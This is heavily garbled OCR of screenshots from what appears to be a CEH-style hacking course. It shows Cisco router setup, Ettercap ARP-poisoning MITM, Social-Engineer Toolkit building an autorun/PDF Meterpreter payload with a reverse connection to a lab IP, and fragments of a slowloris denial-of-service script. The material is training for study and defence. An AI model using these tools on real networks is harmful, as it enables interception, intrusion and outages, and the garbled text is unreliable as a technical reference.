BN C\Windows\system32\cmd.exe

Microszoft Windows [Uersion 6.1.760611
Copyright <c> 28087 Microsoft Corporation.

C:sUzerssuysttelnet 172.16.180.8 260081 _

@Javangrpchannel

All rights reserved.

[ ][O s

EN Telnet17216.100.8

R1 conB iz now availahbhle

Prezz RETURN to get started.
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Ri<config>#ip domain—name cisco.com

Rl<configX crypto key generate rsa

The name forpeeiwgeepilisipeeiergisco..con

Choose the size of the key modulus in the range of 3668 to 4896 for vour
General Purposze Keysz. Choosing a key modulus greater than 512 may take
a few minutes.

How many bits in the modulus [5121:
» Generating 512 bit RSA kevys. keys will he non—exportable...
[0K] <elapsed time waz B szeconds?

Ri<configrit

*Febh 6 B?:45:86.832: BRSEA key size needs to be atleast P68 hits for ssh version
2

Rl{config>#

%Fah £ [@A9-AC-@AG 837- ~CCU_C_FWABRTETi- €CU 4 T has heen enahled
Hl<config>#line vt

Rl<config>#line vty B 4

Rl<config—line>i

RBl<config—line>#itra

Rl<config—lineXftransport in

Rl<config—lineXfitransport input te

Rl<config—linelXfitransport input telnet ssh
Bi<config—lineXH#transport input telnet ssh

@ Internet J My Documents

Internet Explorer

" +] E-mail
d Outlook Express

5\
; 53 My Recent Documents »

()‘ My Pictures

o » :
t ettercap /My Music
@M Realtime Monitor Location: C:\Program Files\EttercaphG
D’ Control Panel
‘, MSH
/ @ Set Program Access and

Defaults

@ \Windows Media Player e Connect To 4
—

‘3 Windows Messenger g Printers and Faxes

Q_)) Help and Support
) Searrh

Log OFf Turn OFf Computer

all Programs D

72 start O v, 0 W 1:46aM
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EE ettercap NG-0.7.3

4= ettercap NG-0.7.3

File Sniff  Options

@ Mebwaork inkerface |

‘ @QK | ‘ xgaru:el ‘

[
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ap (]
Skark  Targets Wigw Mt Filkers  Logaing  Plugins
[ Hosts list H

@ Scan for hosts Chrl+3

= Load From File,,,  Crrl+o
E Savekafile...  Chkrl4S

"EIEERCAF

EE ettercap NG-0.7.3
p

mee Wiew  Mikm  Filkers

[ Hosts list H

@ Scan for hosts Chrl45
5 Load From file... Ctrl4+O
E Savetofile...  Chkrl+s

Stark  Targets Logging Plugins




@Javangrpchannel

4= ettercap NG-0.7.3
Skark  Targets Hosts  Wiew  Mitm Eilkers  Logaing  Plugins

Host List X% |

IP address MAaC Address Descripkion
172.16.100,1 FC 7516069413
172,16,100,2 24 FDi 5253928 CF

Delete Hosk Add ta Target 1 Add ko Target 2

E5L dissection needs a valid redir_commant e
26 plugins

39 protocal dissectors

53 ports monitored

=

E ettercap NG-0.7.3
Stark  Targekts Hosts  Wiew MGG Fikers  Logging  Plugins

Hast List X \—
Icmp redirect, .,

IP Address MaC Address Port stealing. ..

172161001 FC7Si1g:0ed  Drop sPoofing..

172,16,100.2  24:F0:52:3%:4 @ Stop mitm attack(s)

192,168.200.3  00:0C:29:56:00082
192,165.200.10 48:86:CC:00:01:00

Delete Host ][ Add ko Targek 1 ]l Add ko Target 2
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E ettercap NG-0.7.3
Skart  Targets Hosts  Miew Mt Eilkers  Logaing  Plugins

Host List X ‘

IP Address MaC Address Descripkion
172.16.100.1 FiZ:75:16:06:94:13
172.16.100.2 2HFDeS23mE6C7
192.165.200,3  00:0C:29:36:00:52
192,165.200,10 AA4:BE:CC:00:01:00
EE MITM Attack: ARP Pois... [= |[B1][X]

LIpLional parameters

iSniff remote connections, |

add to Target 2

Delete Host ‘

[ >

oo mac vendor Fingerprink
1695 bcp 05 fingerprink
1583 known services

F.andomizing 255 hosts for scanning. ..
Fcanning the whole netmask for 255 hosts,

= ettercap NG-0.7.3

|'tar't Targeks  Hosts  MWiew  Mitm  Filkers  Logaing  Plugins

ess Descripkion
] Exit S

172.16,100.2 24 FDeS2:5925:1C7
192,165.200.3  00:0C:29:56:00:82
192,168.200.10 &&:BE:CC:00:01:00
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Module 08 Social Engineering

Social Engineering

Module 08

Unmask the Invisible Hacker.
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What is Social Engineering? | C|EH

Cortlicd § fuvicad Madher

Social engineering is the art of convincing people to reveal confidential information.
Common targets of social engineering include help desk personnel, technical
support executives, system administrators, etc.

Social engineers depend on the fact that people are unaware of their
valuable information and are careless about protecting it

Impact of Attack on Organization

i Lawsuits and ) Temporary or
Economic Losses 4
Arbitrations oy Permanent Closure
Damage of @ Dangers of
LozsotEximcy Goodwill e Terrorism

root@kali: ~ - (O

File Edit View Search Terminal Help




@Javangrpchannel

root@kali: ~

File Edit View Search Terminal Help
T|"|E', one S [:Zl ‘I:IZ:le' .'54-|_-|_ [:Zlf _"ZZ

Join us on irc.freenode.net in c
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www,.trustedsec.com

ct from the menu:

89) Return back to the main menu.
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The y JSOVD m L Ll create an autorun.inf file and a
Met Ep d. W e DVD/ /CD 1s inserted, it will automatically
run

Pick v or : fileformat bugs or a straight executabl

Return to Main Menu

-1

[

=|IP address for the reverse connection (payleoad):172.16.100.5

root@kali: ~

File Edit WView 5Search Terminal Help
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vour own PDF for att
uilt-in BLANK PDF f

command shell on wvictim and
L on victim
- on victim and se

R

e payload and c

Tunnel communication over HTTP u

= IP address for the payload listener: 172.16.100.5

atina file

[ B B B o M|

—
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autorun

File Edit WView Go Bookmarks Help

Devices ._5_I| usr share set [EMTlaL) I @« Q search

|—| Floppy Drive

Computer

E Home

Desktop autorun.inf template.pdf

/=] File System

@]‘ Trash
MNetwork

@ Browse Met...

root@kali: ~

File Edit WView earch _ Terminal Help

Visit: https://www.trustedsec.com

Select from the menu:

LrdLlon 1Testing
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Visit: https://www.trustedsec.com

rom the menu:

= Enter the IP address for the payload (reverse
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root@kali: ~

File Edit View Search Terminal Help
) Connect back :r (Wind

wn a meterpreter shell and find

Tunnel communication over HTTP usi
Use a hostname instead of an IP ad
Custom interactive re
Purely native HTTP shell with AES
t
Tunneling Payloac Security s pan ad that will
r HTTP
Alphanum Shellcode This will o
This will drop a met

This will drop multiple Metasploit

y a path for your own cut

T of the 11 er [443] :442)
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root@kali: ~
File Edit WView Search Terminal Help
hikata_ga nai
ikata ga nai s
ikata_ga_nai : ith size 1958 (iteration=3)
ikata_ga nai : jith size 1987 (iteration=4)
a ga nail
(iteration=1)
[iteration=2)
(iteration=3)
(iteration=4)
(iteration=5)

[-1]The \
SwStart the lis

runninn as hackoronnd inoh
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¢ E:) IQ Search

]

metasploit. payload

.set
File Edit View Go Bookmarks Help
f

Devices < EiHome | ---

(= Floppy Drive

Computer -

| |

E3 Home 1msf.exe meta_config
B Desktop

|#| File System |

& Trash payloadgen
Network

@ Browse Met...

| -

set.options

EESISEN &6 Windows Defender

o A

CLZ s Home /‘ Scan |+ '@ Histary ﬁ Tools ® |*

C
ut
—_—

Protection against spyware and potentially unwanted software

I '/ No unwanted or harmful software detected.

Your computer is running normally.

LagTd gl T

rinja b

Kalim

e

« . " .
SRS Help protect your computer with Windows Fire|

1% Windows Task Manager

Allow a program or feature
through Windows Firewall

‘&' Change notification settings

‘5' Turn Windows Firewall on or
off

‘?;' Restore defaults

Windows Firewall can help prevent hackers or malicious softw
computer through the Internet or a network,

How does a firewall help protect my computer?

File Options View Help
| Applications ‘ Processes |Serwces I Performance I Metworking I Users |
=
Image Mame User Mame CPU Memory (... Description
conhost.exe u7 oo 904K Console...
CSr55.EXe oo 442K
dwm.exe u? i} 1,340K Desktop ...
explorer.exe u? oa 27,364 K
! ipmace, u7 oo 288K
u7 oo 3,520K
. u? oo 2,100K  HostProc...
taskmar.exe u? i} 1,956 K  Windows ...
TPAutoConne... u? oo 3,688 K  ThinPrint ...
WMBlastiv .exe 0o 4,408 K
vmtoolsd. exe u7 0o 3,912K  VMwareT...
VMwareViewC... u?7 oo 2,396 K  VMwareH...
VMWwVvphelpe... u7 oo 1,412K  VMwareH...
winlogon.exe oa 2,000 K
WSSM.exe u7 0o 2,104K  VMwareH...
[ '&'Show processes from all users

Processes: 51 CPU Usage: 0%

Physical Memory: 32%

4 TR TOCaLIONS

. @‘ Home or work (private) networks

Not Connected ()
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09- Denial-of-Service

Denial-of-Service

Module 09

Unmask the Invisible Hacker.
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What is a Denial-of-Service

Attack? q E,I:.!

- Denial of Service (DoS) is an attack on a computer or network that reduces, restricts or
prevents accessibility of system resources to its legitimate users

o Ina DoS attack, attackers flood a victim system with non-legitimate service requests or
traffic to overload its resources

d  DoS attack leads to unavailability of a particular website and slow network performance

y Malicious Traffic

W ' Malicious traffic consumes g
: all the available bandwidth

Internet Router
> . E
s L v ' L Attack Traffic 1
— B  Regular Traffic
Regular Traffic Server Cluster

Copyright © by I6-Bemncil All Rights Reserved. Reproduction is Strictly Prohibited.
pyrig g ¥

Loy a5 45wl o Perl o Slowloris e Sl 5l soliiwl DDOS cldes plol slys slo g, 51 (SO

Ai8lo LIS 5l daie Ceoms HlaT 0590 g U gl Eel Wb sl JBlas L aS ans oo o5l
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root@kali: ~/Desktop

Computer File Edit View Search Terminal Help

. slowloris.p

x86_powershell«

injection, bat slowloris

Building
Building
Building sc
Building
Building
Building st
Building
Building
Building
Building s
Building
Building
Building
Building
Building
Building st
Building
Building st

Building
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slowloris.pl (~/Desktop) = VIM
File Edit Tools Syntax Buffers Window Help

=Ssa0a oe E 7% @« a@d %o

print "Usage:\n\nytperl $0 -dns [www.example.com] -optionsiyn"; [~
print "\n\tType 'perldoc %0' for help with options.\n\n";

exit; E|

unless ($tcpto) {

$tcpto = 5; . . .
print "Defaulting to a 5 second tcp connection timeout.in";
I

unless ($test) {

my $usemultithreading = 0; [+]
30,1 =2

MetaSploit ;| solaxw! L DDOS (g;le solo

root@kali: ~

File Edit View Search Terminal Help






